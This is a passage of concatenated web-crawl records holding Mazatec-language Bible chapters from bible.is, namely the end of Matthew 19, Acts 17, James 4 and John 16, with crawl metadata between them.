kjoa̱à'sen‑kjá ya̱ ñánda̱ nga ti̱'xá nindo ra tjahiña‑ni nikje. 25'Kia̱ nga kií'nchré 'én kìi̱ jñà xi̱ta̱ ra kotá'yá'ta‑la̱ Jesús, batoó ta kjóxkón‑la̱. 'Kia̱á kitsò‑la̱ xákjién: ―¿Yá xi̱ta̱ ra ko̱ma ki̱tjokajin kjo̱hi'in tsa'koa̱? 26Jesús iskotsíjeén‑la̱, kitsò‑la̱: ―Ra ta jñà xi̱ta̱, mì kì ko̱ma‑la̱. Tanga ra a̱'ta 'tse̱ Nainá ma ijye‑ní ta mé kjoa̱‑nioo̱. 27'Kia̱á kitsò jè Pedro: ―Ra ji̱n, kijmitákon ijyeé‑náji̱n nga'tsì tsajmì ra tjín‑náji̱n, ko̱ ji̱í timatji̱ngi‑laji̱n. ¿Mé ra 'se̱‑naji̱n a̱skan‑nioo̱? 28Jesús kitsó‑la̱: ―'Koa̱á xín kixi̱‑no, 'kia̱ nga ki̱jchò ni̱chjin nga ko̱xi̱tse̱ya ijye, ko̱ 'kia̱ nga 'a̱n ra I'ndí‑la̱ Xi̱ta̱ xin‑la̱ ijo‑na̱ kóti̱jnasòn íxile̱ ya̱ ñánda̱ nga 'ñó jeya kóti̱jna; jiòn ra ijye 'a̱n timatji̱ngi‑ná, ti̱'koa̱á ya̱á ki̱tsa̱jnasòn jngó jngó íxile̱ ñánda̱ nga tísatéxoma, mé‑ni nga jiòn kíndajín‑la jñà xi̱ta̱ na̱xi̱ndá‑la̱ xi̱ta̱ Israel ra tejò tje̱ ma‑ni. 29Nga'tsì xi̱ta̱ ra ta kjoa̱ tsa̱'a̱n isíkítsa̱jna ni'ya‑la̱, 'ndse̱, ndichja, na̱'ìn‑la̱, na̱‑la̱, chjo̱ón‑la̱, i̱xti‑la̱, nangi‑la̱, jngo sindo̱ 'ka̱ ko̱'ki tjábé ngajo‑ila̱. Ko̱ ti̱'koa̱á 'se̱é‑la̱ kjo̱binachon ra mì fehe'ta skanda ta mé ni̱chjin‑nioo̱. 30Tanga kjín xi̱ta̱ ra jñà títsa̱jna ítjòn 'ndi̱ 'ndi̱‑ni̱, jñá kítsa̱jna tji̱ngi‑ni a̱skan‑nioo̱; ko̱ jñà ra títsa̱jna tji̱ngi‑ni 'ndi̱ 'ndi̱‑ni̱, jñá kítsa̱jna ítjòn‑nì a̱skan‑nioo̱.\nSan Mateo 19","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/Matt\/19","date":"2013-12-07T10:56:31Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163054000\/warc\/CC-MAIN-20131204131734-00046-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000091791,"language_script":"Latn","minhash_cluster_size":21,"top_langs":"{\"maa_Latn_score\": 1.0000091791152954}","num_words":827,"character_repetition_ratio":0.074,"word_repetition_ratio":0.0,"special_characters_ratio":0.239,"stopwords_ratio":0.34,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Jahato Anfípolis ko̱ Apolonia, ijchò Tesalónica ya̱ na̱xa̱ndá ñánda tjín jngoò ni'ya i̱ngo̱ sinagoga xi ts'e̱ xi̱ta̱ judío. 2Jè Pablo, koni s'ín kjit'aà, jahas'en jè ni'ya i̱ngo̱ sinagoga; jàn na̱chrjein nìkjáya tsajoóya‑ne nga kiskoòta'yà Xo̱jo̱n‑la̱ Nainá. 3K'oa̱á s'ín tsibéno̱jmí‑la̱ nga jè Cristo k'oa̱á s'ín tjínè‑la̱ nga ki̱yá ti̱koa̱á jaáyaá‑la̱ i̱t'aà ts'e̱ kjoa̱biyaà. Kitsò‑la̱: ―Jesús xi 'a̱n tìbeno̱jmí‑nò, jé‑né xi Cristo [xi xó k'oa̱s'ín tjínè‑la̱ nga kjoi̱í]. 4Tjín i'nga xi̱ta̱ judío xi kòkjeiín‑la̱; ya̱á tsobáhijtako̱ Pablo ko̱ Silas. Ti̱koa̱á kjìn íchjín ítjòn kòkjeiín‑la̱ ko̱ xi̱ta̱ griego xi beèxkón Nainá. 5Ta̱nga jñà xi̱ta̱ judío xi mìkiì mokjeiín‑la̱, kjòchi̱ni̱keè Pablo ko̱ Silas. Tsibíxkóya xi̱ta̱ ts'eè xi tà jyò tjíma; tsibíts'ia̱ kjoa̱siì ya̱ na̱xa̱ndá; kiì kjaán‑t'aà ni'ya‑la̱ xi̱ta̱ xi 'mì Jasón nga tsohótsji Pablo ko̱ Silas nga mejèn‑la̱ si̱ìkíjna osen nga nguixko̱n na̱xa̱ndá. 6Ta̱nga mìkiì kisakò‑la̱ ñánda tíjna Pablo ko̱ Silas; kjo̱'ñó komà‑la̱ nga tsachrje ni'ya jè Jasón ko̱ i'nga xi̱ta̱‑la̱ Cristo xi ya̱ títsa̱jna nga kiìko̱ nguixko̱n xi̱ta̱xá; 'ñó kiìchja̱ kitsò: ―Jñà xi̱ta̱ koi xi síkits'ón xi̱ta̱ xi tjín nga tíjtsa i̱sò'nde; jyeé j'iì i̱'nde tsa̱ján. 7Ngats'iì xi̱ta̱ koi, jè Jasón kitsjaà'nde‑la̱ ni'ya‑la̱. Saà kondra̱á fì‑la̱ kjo̱tíxoma‑la̱ César xi xi̱ta̱xá ítjòn ts'e̱ Roma; k'oa̱á tsò nga tjín ìjngoò xi̱ta̱xá ítjòn xi Jesús 'mì. 8Jñà xi̱ta̱xá ko̱ xi̱ta̱ na̱xa̱ndá, k'e̱ nga kiì'nchré 'én koi, kòjtií‑la̱. 9Jè Jasón ko̱ xi̱ta̱ xi i'nga tsibíchjítjì yijo‑la̱ i̱t'aà ts'e̱ xi̱ta̱xá nga komà tsibìtsa̱jnandei̱í‑ne. 10K'e̱ nga jye kòjñò, jñà xi̱ta̱‑la̱ Cristo ni̱to̱ón kisìkasén jè Pablo ko̱ Silas skanda ján na̱xa̱ndá Berea. K'e̱ nga ijchò i̱'nde jè jahas'en ni'ya i̱ngo̱ sinagoga ts'e̱ xi̱ta̱ judío. 11Jñà xi̱ta̱ xi títsa̱jna Berea, ìsa̱á ndaà tjín kjo̱hítsjeèn‑la̱ mì k'oa̱à‑ne koni xi títsa̱jna ya̱ Tesalónica; ìsa̱á ni̱to̱n kòkjeiín‑la̱ 'én‑la̱ Nainá ko̱ na̱chrjein inchijòn tsibíxke̱jiìn Xo̱jo̱n‑la̱ Nainá nga mejèn‑la̱ skoe̱ tsà kixi̱í kjoa̱ koni tsò 'én xi okóya Pablo. 12Kjìn xi̱ta̱ judío kòkjeiín‑la̱ ti̱koa̱ kjìn íchjín ítjòn ko̱ xi̱ta̱ x'i̱n kòkjeiín‑la̱ xi xi̱ta̱ griego. 13Jñà xi̱ta̱ judío xi títsa̱jna Tesalónica, k'e̱ nga kiì'nchré nga jè Pablo ko̱ Silas ya̱ títsa̱jna Berea, nga 'én‑la̱ Nainá nchibéno̱jmí, kiì ya̱ na̱xa̱ndá jè nga kiì kinchá'a xi̱ta̱ mé‑ne nga kisakò‑ne kjoa̱siì. 14Jñà xi̱ta̱‑la̱ Cristo, ni̱to̱ón kisìkasén Pablo ján i̱ndiì ndáchikon; tà jè Silas ko̱ Timoteo tsibìtsa̱jna ya̱ Berea. 15Jñà xi̱ta̱ xi tsobáhijtako̱ Pablo nga kiì kinì indiaà, kiìko̱ skanda Atenas. K'e̱ nga jye j'iì‑ne xi̱ta̱ koi, 'ya‑la̱ o̱kixi̱ Silas ko̱ Timoteo nga ni̱to̱ón kji̱tji̱ngui‑la̱ Pablo. 16Pablo, k'e̱ nga tíjna na̱xa̱ndá Atenas nga tíkoña‑la̱ Silas ko̱ Timoteo, 'ñó baá komà‑la̱ nga kijtseè nga ya̱ na̱xa̱ndá jè, 'ñó kjìn xkósòn beèxkón. 17Ya̱ ni'ya i̱ngo̱ sinagoga tsajoókjoòko̱ xi̱ta̱ judío ko̱ xi ta̱xki̱ xi̱ta̱ xi beèxkón Nainá; na̱chrjein inchijòn tsohóko̱ ngats'iì xi̱ta̱ xi bixoña ya̱ ndi̱tsi̱n. 18Na̱chrjein koi tjín i'nga xi̱ta̱ xi tsakóya kjo̱hítsjeèn ts'e̱ xi̱ta̱ epicúreo ko̱ xi̱ta̱ estoicos nga tsajoókjoò Pablo. Tjín i'nga xi tsò: ―¿Kó tsòya‑ne 'én xi chja̱ya, nga siì s'ín nga chja̱? Ti̱koa̱á tjín i'nga xi tsò: ―K'oa̱á ma‑ná, kj'ei̱í‑la nainá tíhokóya. Koií k'oa̱s'ín kitsò‑ne nga jè Pablo, jè tíbéno̱jmí 'én ndaà‑la̱ Nainá xi kjoa̱ ts'e̱ Jesús nga jaáya‑la̱ i̱t'aà ts'e̱ kjoa̱biyaà. 19K'e̱é kiìko̱ jngoò i̱'nde ñánda 'mì Areópago. Kiskònangui‑la̱ kitsò‑la̱: ―¿A ko̱maá ìsa̱ ndaà kéno̱jmí‑náje̱n jè kjo̱tíxoma xi̱tse̱ xi ngaji̱ okoòyi? 20'Ñó kj'ei̱í tsò. Mejèn‑naje̱n nga jcha̱‑je̱n kó tsòya‑ne. 21Koií o̱kitsò‑ne nga jñà xi̱ta̱ Atenas ko̱ xi̱ta̱ xi xìn nangui‑la̱ xi ya̱ títsa̱jna, tà jè xi mejèn‑la̱ nga skoe̱ ko̱ ko̱ma kjo̱óya‑ne ngats'iì kjoa̱ xi̱tse̱. 22Pablo, tsasíjna kixi̱ nga jngoò osen‑la̱ i̱'nde Areópago, kitsò: ―Ngats'ioò xi i̱ i̱'nde‑nò Atenas, k'oa̱á s'ín tìbexkon‑nò; 'ñó ndaà yaxkón jñà xi nainá 'mì‑là. 23K'e̱ nga jáhatoaà jñà i̱ngo̱ ñánda bixoñaà, kìjtseè jngoaà i̱ngo̱ ñánda tjít'aà 'én xi tsò: \"Nainá xi mìkiì yaxkon‑la̱.\" Jè xi jñò yaxkón, na̱s'ín mì kì yaxkon, ti̱jè‑ne xi 'a̱n beno̱jmí‑nò. 24'Jè Nainá xi tsibíndaà i̱sò'nde, ngats'iì tsojmì xi tjín nga tíjtsa i̱sò'nde, jè xi nei‑la̱ ngajmiì ko̱ nangui; mìtsà ya̱ tíjnaya i̱ngo̱ xi tsja xi̱ta̱ bíndaà‑ne. 25Ti̱koa̱á, ni̱mé xi mochjeén‑la̱ i̱t'aà tsa̱ján. Ta sa̱á jè tísíkíjnakon‑ná, tsjá‑ná tjo̱ xi chjoaán, tsjá‑ná ngats'iì xi mochjeén‑ná. 26'Nainá, jngoò xi̱ta̱ kisìkjeén nga tsibíndaà ngats'iì xi̱ta̱ xi tjín nga tíjtsa i̱sò'nde; kiskoòsòn‑la̱ kótjín na̱chrjein kítsa̱jna ko̱ ñánda kítsa̱jna, 27mé‑ne nga kàtátsji‑ne Nainá, na̱s'ín k'oa̱s'ín kàtas'ín koni jngoò xi̱ta̱ xi mìkiì tsejèn‑la̱ nga ótsjijno ótsjit'aà nangui. Ta̱nga Nainá, mìtsà kjiìn tíjna; chrañà tíjnat'aà‑ná. 28Koni s'ín kitsò jngoò xi̱ta̱ tsa̱jòn xi 'ñó chji̱ne̱: \"Jñá, ki'ndí‑la̱ Nainá 'mì‑ná.\" Kixi̱í kjoa̱, nga jè tsjá‑ná nga titsa̱jnakoaán nga nìkjaníyá nga titsa̱jnasoán i̱sò'nde. 29Tsà kixi̱ kjoa̱ nga ki'ndí‑la̱ Nainá 'mì‑ná, mì k'oa̱s'ín si̱kítsjeén nga Nainá jñà i̱sén xi ki̱cha̱ oro xi ki̱cha̱ plata ko̱ xi nda̱jo̱ xi xi̱ta̱ bíndaà‑ne tsja koni s'ín tjín kjo̱hítsjeèn‑la̱. 30Nga sa̱ ítjòn Nainá kitsjaà'nde‑né nga tjíjñò‑la̱ xi̱ta̱. Ta̱nga i̱'ndei̱, k'oa̱á s'ín tsjá o̱kixi̱ nga tíjtsa i̱sò'nde nga jñà xi̱ta̱ kàtasíkájno jé‑la̱ nga mì ti̱ jé ko̱hótsji‑ne. 31Nainá jye tsibíjna jngoò na̱chrjein nga kixi̱ koi̱ìndaàjiìn ngats'iì xi̱ta̱ i̱sò'nde. Jaàjiìn jngoò xi̱ta̱ xi kitsjaà‑la̱ o̱kixi̱ nga jè ko̱ma xi̱ta̱xá xi koi̱ìndaàjiìn‑la̱ ngats'iì xi̱ta̱. Ko̱ k'oa̱á s'ín tsakó nga kixi̱ kjoa̱ k'e̱ nga kisìkjaáya‑la̱ i̱t'aà ts'e̱ kjoa̱ biyaà. 32K'e̱ nga kiì'nchré‑la̱ kjoa̱ ts'e̱ nga faáya‑la̱ mik'en i̱t'aà ts'e̱ kjoa̱ biyaà, tjín i'nga xi̱ta̱ xi tà tsijnò'nga‑né ko̱ tjín i'nga xi kitsò: ―Jñà kjoa̱ koi, kj'ei̱í na̱chrjein ki̱ná'ya‑je̱n. 33Pablo, k'e̱é itjojiìn‑la̱. 34Ta̱nga tjín i'nga xi̱ta̱ xi ya̱ títsa̱jna nga kòkjeiín‑la̱: jngoò xi̱ta̱ xi 'mì Dionisio xi ya̱ chja̱‑ne ts'e̱ xi̱ta̱ xi títsa̱jnajtín xi 'mì Areópago; ti̱koa̱ jngoò chjo̱ón xi 'mì Dámaris, ko̱ xi̱ta̱ xi kj'ei̱í ìsa̱.\nHechos 17","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/Acts\/17","date":"2013-12-10T03:36:31Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164006951\/warc\/CC-MAIN-20131204133326-00026-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000060797,"language_script":"Latn","minhash_cluster_size":23,"top_langs":"{\"maa_Latn_score\": 1.000006079673767}","num_words":880,"character_repetition_ratio":0.072,"word_repetition_ratio":0.0,"special_characters_ratio":0.221,"stopwords_ratio":0.349,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1¿Ñánda nchrobá‑ne kjo̱jchán nga bixkàn‑ko̱o xinguio̱o? Ya̱á nchrobá‑ne kjoa̱ch'o xi kjit'aà na̱chrjein síjé ini̱ma̱‑nò nga bixkàn‑ko̱o kjo̱hítsjeèn ch'o‑nò. 2Mejèn‑nò tsojmì xi tsjìn‑nò ta̱nga mìkiì sakó‑nò, k'oa̱á ma‑ne nga nìk'eèn xi̱ta̱ koa̱ maxìtakòn‑chaà xi̱ta̱, ta̱nga mìkiì sakó‑nò tsojmì xi mejèn‑nò. K'oa̱á ma‑ne nga sakó‑nò kjo̱jchán nga bixkàn‑ko̱o xinguio̱o. Mìkiì sakó‑nò tsojmì xi mejèn‑nò koií kjoa̱‑la̱ nga mìkiì nìjé‑là Nainá. 3K'e̱ nga nìjé‑laà Nainá, mìkiì tsjá‑nò nga mìkiì ndaà nìjé‑laà. Nga̱ jè xi mejèn‑nò nga ya̱ si̱chjeén i̱t'aà ts'e̱ kjo̱tsja xi ch'o síjé yijo‑nò. 4Jñò xi mìtsà xi̱ta̱ kixi̱ 'mì‑nò, ¿a mìtsà 'ya nga jè xi matsjakeè kjoa̱ ts'e̱ i̱sò'nde, kondra̱ ts'e̱é Nainá? Ni̱ta̱ yá‑ne xi mejèn‑la̱ ko̱tsjakeè kjoa̱ ts'e̱ i̱sò'nde, kondra̱‑la̱ Nainá ma. 5Koií k'oa̱ tsò‑ne Xo̱jo̱n‑la̱ Nainá nga tsò: \"Jè Ini̱ma̱ Tsjeè xi Nainá kitsjaà‑ná, skanda machi̱ni̱‑né nga 'ñó matsjakeè‑ná.\" 6Ta̱nga Nainá, nga ko̱ kjo̱ndaà‑la̱ ndaà síchját'aà‑ná. K'oa̱á tsò Xo̱jo̱n‑la̱ nga tsò: \"Nainá kondra̱á tíjna‑la̱ jñà xi̱ta̱ xi 'nga ikon, ta̱nga ko̱ó kjo̱ndaà‑la̱ ndaà síko̱ jñà xi xi̱ta̱ i̱ma̱ kjoa̱.\" 7Tjiì'nde nga Nainá kàtatíxoma‑nò, ko̱ 'ñó tájaàjiìn titsa̱jna‑laà xi̱ta̱ nei̱í mé‑ne nga ko̱si̱t'aàxìn‑nò. 8Ti̱chrañàt'aà‑laà Nainá mé‑ne jè Nainá si̱ìchrañat'aà‑nò. Jñò xi jé binchaàtsjioò, kì ti̱ jé binchaàtsji‑nò, ti̱tsjeè ndsa̱a. Ti̱tsjeèya kjo̱hítsjeèn‑la̱ ini̱ma̱‑nò, jñò xi jò kjo̱hítsjeèn tjín‑nò nga o̱kji matsjacha Nainá ko̱ o̱kji matsjacha i̱sò'nde. 9Ti̱kájnoò jé‑nò, ba ti̱tsa̱jna ko̱ chìhindáyaà. Jè kjoa̱ bijnò‑nò, kjoa̱ ts'e̱ ndáxko̱ón kàtama. Ko̱ jè kjo̱tsja‑nò, kjoa̱ba kàtama. 10Nangui titsa̱jna‑là Nainá mé‑ne jè Nainá 'nga si̱ìkítsa̱jna‑nò. 11Ndí 'ndsè, kì nokjoàjno‑là xinguio̱o. Jè xi chja̱jno‑la̱ 'ndse̱ nga tsò: \"Mìkiì ndaà tís'ín\", jè kjo̱tíxoma tíchja̱jno‑la̱ nga tsò nga mìkiì ndaà tjín kjo̱tíxoma. Ko̱ tsà k'oa̱á s'ín si nga mìkiì ndaà tjín kjo̱tíxoma, mìkiì tìnìkitasoìn koni tsò kjo̱tíxoma. K'oa̱á ngaya‑la̱ koni tsà xi̱ta̱xá tijni nga ji̱ tìbìndaàjiìn. 12Tà jngoò ma‑ne xi tsjá kjo̱tíxoma, ti̱jé‑ne xi xi̱ta̱xá tíjna nga bíndaàjiìn‑la̱ xi̱ta̱. Ko̱ ti̱jé‑ne xi ma‑la̱ ko̱chrjekàjiìn‑ná kjo̱'in, ti̱koa̱ ti̱jé‑ne xi ma‑la̱ tsjá‑ná kjo̱'in. ¿Yá‑ne ngaji̱ nga jé bìnè‑laà xingui̱i? 13Jñò, ndaà ti̱ná'yaà koni xán‑nò. Jñò bixón‑nò: \"Na̱chrjein i̱'ndei̱, o nchijòn‑lè, xìn na̱xa̱ndá kjiaán, jngoò nó ki̱tsa̱jnaá nga si̱xá mé‑ne tse to̱n si̱kijneé.\" 14Ta̱nga jñò, mìkiì tíjiìn‑nò mé xi ko̱mat'ioòn nchijòn‑lè nga titsa̱jnakon. Jñò, k'oa̱á s'ín ngaya‑la̱ koni ifi. Jngoò tjò fahaya, i̱kjoàn ni̱to̱ón fìya‑ne. 15Jñò, kií s'ín ti̱nókjoa̱a: \"Tsà Nainá mejèn‑la̱ nga si̱ìkítsa̱jnakon‑ná, ko̱maá s'e̱én xá koi, o s'e̱én xá xi kj'ei̱í.\" 16Ta̱nga jñò, 'ñó 'nga 'én nokjoà na̱s'ín mìkiì tíjiìn‑nò mé xi ko̱ma nga tífì‑ìsa na̱chrjein. Ngats'iì 'én 'nga xi nokjoà, jé‑né. 17Jè xi tíjiìn‑la̱ kjoa̱ xi ndaà tjín ko̱ mìkiì síkitasòn, jé tíhótsji‑la̱ yijo‑la̱.\nJacobo 4","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/Jas\/4","date":"2013-12-06T07:00:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163049948\/warc\/CC-MAIN-20131204131729-00067-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000092983,"language_script":"Latn","minhash_cluster_size":24,"top_langs":"{\"maa_Latn_score\": 1.000009298324585}","num_words":408,"character_repetition_ratio":0.055,"word_repetition_ratio":0.0,"special_characters_ratio":0.229,"stopwords_ratio":0.277,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1'Kií ko̱'sín tíxin‑no mé‑ni nga 'a̱n tja'tà ikon ki'tá‑ná. 2Ko̱chrjekàjin‑nájiòn ya̱ ni'ya sinagoga ñánda̱ nga maxkóya xi̱ta̱ Judío; skanda ki̱jchó ni̱chjin 'kia̱ nga yá ra si̱ì'ken‑najiòn, 'koa̱á 'sín ki̱tso̱ nga xá 'tse̱ Nainá ra tí'sín. 3Ko̱ kií ko̱'sín 'si̱in‑ni nga mì kì bexkon jè Na̱'ìn‑na̱, ko̱ mì kì bexkon‑te‑na ra 'a̱n. 4'Koa̱á 'sín tíxin‑no, mé‑ni 'kia̱ nga ijye ko̱'sín ko̱kama'tion, katabítsjen‑no koni 'sín tíxin‑no 'ndi̱. Mì tsa ti̱'kia̱ ko̱ kíxin‑no jñà kjoa̱ kìi̱ nga ti̱'sa̱‑ni; nga̱ kií, ya̱á tíjna̱ko̱-isa‑no 'kia̱. 5''Ndi̱ 'ndi̱ ya̱á tífì káti̱jnako̱ india‑na ya̱ ñánda̱ tíjna jè ra isìkasén‑na, ko̱ ni̱jngo ra chjinangi‑nájiòn ñánda̱ tífia; 6ta isa̱á ta kjo̱baá tjíjin jè inìma̱‑no, ta nga̱tjì‑la̱ jñà kjoa̱ ra ko̱kàxin‑no. 7Tanga 'én kixi̱í ra ko̱xin‑no: Isa̱á skén ndi̱yá‑no nga kjiáa̱n. Nga̱ tsa mì kì kjiáa̱n, mì kì kj'i̱í ra ko̱si̱ko̱‑najiòn; tanga tsa kjiáa̱n, 'a̱án sikásén‑no. 8'Kia̱ nga kj'i̱í ra jè, jé si̱ichi̱ya‑la̱ jñà xi̱ta̱ i̱sà'nde jñà jé ra tjín‑la̱ ko̱ si̱ichi̱ya‑la̱ kjoa̱ ra kixi̱ tjín, ko̱ kó'sín nga si̱ndajín. 9Jé si̱ichi̱ya‑la̱ jñà xi̱ta̱ i̱sà'nde jñà jé ra tjín‑la̱ ta nga̱tjì‑la̱ nga mì kì makjiín‑la̱ ra a̱'ta tsa̱'a̱n. 10Ti̱'koa̱á si̱ichi̱yaá‑la̱ nga 'a̱n‑ná ra xi̱ta̱ kixi̱, nga̱ ki, ya̱á tífia ñánda̱ nga tíjna jè Na̱'ìn‑na̱, ko̱ mì kì ti̱ jcha̱‑nájiòn; 11Ti̱'koa̱á si̱ichi̱ya‑la̱ kó'sín nga si̱ndajín nga jè ra tíbatéxoma‑la̱ jè i̱sà'nde ra̱kìi̱, ijyeé tjínda‑ní kó'ki kjo̱hi'in 'ki̱‑la̱. 12'Taxki̱ tjín‑isa‑na mé 'én ra ko̱xín‑najiòn, tanga 'ndi̱ 'ndi̱ mì kì ko̱chi̱ya‑no ni̱'sín ko̱xín‑no. 13Tanga 'kia̱ nga kj'i̱í jè Inìma̱ Tsje‑la̱ Nainá ra ngi ra kjo̱hixi̱, jè ko̱ki̱tso̱‑najiòn kó'sín nga 'sia̱an jiòn nga ko̱hítji̱ngi‑la jè kjoa̱kixi̱; nga̱ mì tsa tà kjo̱bítsjen 'tse̱ si̱ìchjeén kó'sín nga ki̱chja̱, ta jé kjón ko̱ki̱tso̱ kótsò 'én ra kji̱'nchré, ko̱ jè 'ke̱èna̱jmí‑no mé kjoa̱ ra ko̱ma a̱skan‑nioo̱. 14'A̱án jeya si̱ìkíjna‑na 'kia̱ nga ska̱ábé kjo̱bítsjen‑na̱ nga ko̱kòn‑ya‑najiòn. 15Nga'tsì mé ra tjín‑la̱ jè Na̱'ìn‑na̱, ti̱'koa̱á tsa̱'a̱án‑te; kií ko̱xin‑najiòn nga tsa̱'a̱n‑ná kjo̱bítsjen ra ska̱ábé jè Inìma̱ Tsje‑la̱ Nainá nga ko̱kòn‑ya‑najiòn. 16'Ta chibaá ni̱chjin chija‑isa 'kia̱ mì ti̱ kì jcha̱a‑najiòn, tanga mì tsa kjìn ni̱chjin ko̱to nga ma jcha̱a india‑nájiòn, nga̱ ya̱á tífia ñánda̱ tíjna jè Na̱'ìn‑na̱. 17Jñà xi̱ta̱ ra kotá'yá'ta‑la̱ 'kia̱á iskonangi‑la̱ xákjién nga jngó jngó; kitsò‑la̱: ―¿Kó tsò‑ni 'én ra ko̱tsò‑la̱ nga tsó‑ná: nga ta chibaá ni̱chjin chija‑isa nga mì ti̱ kì jcha̱‑ná, ko̱ nga mì tsa kjìn ni̱chjin ko̱to nga ma jcha̱á indiaá‑ná, ko̱ nga ya̱á tífì ya̱ ñánda̱ tíjna jè Na̱'ìn‑la̱? 18¿Kó tsò‑ni ra ko̱tsò‑la̱ nga ta chibaá ni̱chjin chija‑isa? Mì kì machi̱ya‑ná mé ra ko̱tsò‑la̱. 19Jesús ti̱'kia̱á kijtse nga mejèn‑la̱ nga sko̱nangi‑la̱, 'kia̱á kitsò‑la̱: ―¿A jé chjinangi‑la̱ xàngio̱o jè 'én ra ko̱kàxin‑no: Ta chibaá chija‑isa, 'kia̱ nga mì ti̱ kì jcha̱‑nájiòn, ko̱ nga mì tsa kjìn ni̱chjin ko̱to nga india jcha̱xkon‑nájiòn? 20Ngi 'én kixi̱í ra ko̱xin‑no, ko̱baá‑no ko̱ chjíndáya‑nó, ko̱ jñà xi̱ta̱ i̱sà'nde, ko̱tsjaá‑la̱ ra jñà. Tanga jè kjo̱ba‑najiòn, kjo̱tsja ko̱ma‑ni a̱skan‑nioo̱. 21Jngo chjo̱ón, 'kia̱ nga ijye bijchó jè ni̱chjin‑la̱ nga kje̱he'tin‑la̱, tseé kjo̱hi'in síkjiín 'kia̱ nga tsin jè i'ndí‑la̱; tanga 'kia̱ nga ijye fehe'tin‑la̱, chaàjiín‑la̱ mé kjo̱hi'in ra batojin nga batoó tsja 'se̱‑ila̱ nga jngo xi̱ta̱ katsin i̱ i̱sà'nde. 22'Koa̱á ti̱'sín tjín‑ni ra a̱'ta tsa̱jiòn, 'ndi̱ 'ndi̱ baá tjín‑la̱ inìma̱‑no; tanga 'a̱n skeé india‑no; 'kia̱ nga ko̱'sín ko̱ma, tseé kjo̱tsja si̱jin ya̱ inìma̱‑no; jè kjo̱tsja ra̱kìi̱, ni̱yá ra ma kjo̱híxìn‑no. 23''Kia̱ nga ki̱jchò jè ni̱chjin ra̱kìi̱ mì ti̱ kì mé ra chji̱nangi‑nájiòn. Ngi 'én kixi̱í ra ko̱xin‑no, tsa mé ra si̱jé‑la̱ jè Na̱'ìn‑na̱ ra a̱'ta tsa̱'a̱n, 'ki̱i‑no. 24Kjè tsa mé níjé jiòn skanda 'ndi̱ 'ndi̱ ra a̱'ta tsa̱'a̱n; tanga 'koa̱á xín‑no, ti̱jé, ko̱ 'ki̱í‑no, mé‑ni nga mì ti̱ kì mé ra si̱ìjchija‑la̱ jè kjo̱tsja ra tíjnajin ya̱ inìma̱‑no. 25'Jñà 'én ra tíbakó‑no 'ndi̱‑ni̱ ta kjoa̱ mangásòn‑ní ra tísìchjée̱n; tanga ijyeé nchrabá ni̱chjin 'kia̱ nga nda kjón 'kenájmí‑nájiòn a̱'ta 'tse̱ Na̱'ìn‑na̱, nga mì tsa ti̱ kjoa̱ mangásòn sichjén‑na 'kia̱ nga kokó‑no. 26Ko̱ jè ni̱chjin ra 'sa̱ nchrabá, a̱'ta tsa̱'a̱n‑ní nga si̱jé‑la jiòn Na̱'ìn‑na̱ mé ra mejèn‑no; ko̱ mì tsa ti̱ 'a̱n kitsá'ba‑la̱ Na̱'ìn‑na̱ nga síjétjì‑no, 27nga̱ jè Na̱'ìn‑na̱ ti̱'koa̱á tsjakeé‑no. Kií tsjake 'sín‑najiòn, nga̱ ti̱'koa̱á tsjacha‑nájiòn ra 'a̱n, ko̱ nga̱ ti̱'koa̱á makjiín‑no nga a̱'ta 'tse̱ Nainá inchrabà‑na ra 'a̱n. 28'Kia̱ nga 'jía̱ ya̱ i̱sà'nde ra̱kìi̱, ya̱á inchrabà‑na ya̱ ñánda̱ nga tíjna masen jè Nainá; ko̱ 'ndi̱‑ni̱, tsjin‑náa̱ jè i̱sà'nde ra̱kìi̱, nga tífì india‑na ya̱ ñánda̱ tíjna jè Na̱'ìn‑na̱. 29'Kia̱á kitsò jñà xi̱ta̱ ra kotá'yá'ta‑la̱: ―Tjinakjoá kixi̱‑ní 'ndi̱, mì tsa ti̱ kjoa̱ ra mangásòn‑ni tjinichjeén‑ni. 30'Ndi̱ 'ndi̱ ijyeé 'ya‑náji̱n nga machi̱ya ijyeé‑li tà mé kjoa̱‑isa‑ni; ko̱ mì kì machjeén‑li tsa yá ra sko̱nangi‑li. Kií makjiín‑naji̱n nga a̱'ta 'tse̱ Nainá inchrabà‑ni ra ji̱. 31'Kia̱á kitsò Jesús: ―¿A kja̱ ijyeé makjiín‑no 'ndi̱‑ni̱? 32Ijyeé ijchó chi̱ba̱‑la̱ ko̱ 'ndi̱ kjón‑ni nga jiòn‑jiòn jndíi̱ ra ján kongió nga jngó jngó‑no, ko̱ ta 'a̱n ta̱jngoó si̱kíjna‑ná. Tanga mì tsa ta 'a̱n ta̱jngo tíjna̱, tíjnako̱ó‑na jè Na̱'ìn‑na̱. 33Kií ko̱xin‑no jñà 'én kìi̱ mé‑ni nga katasakó‑no kjoa̱'nchán ra a̱'ta tsa̱'a̱n. Ya̱ i̱sà'nde, 'se̱é‑nájiòn kjo̱hi'in; tanga 'ñó tjà'tà‑la takòn; 'a̱n, ijyeé ísikíjneé‑la̱ jñà kjoa̱ ra tjín i̱sà'nde.\nSan Juan 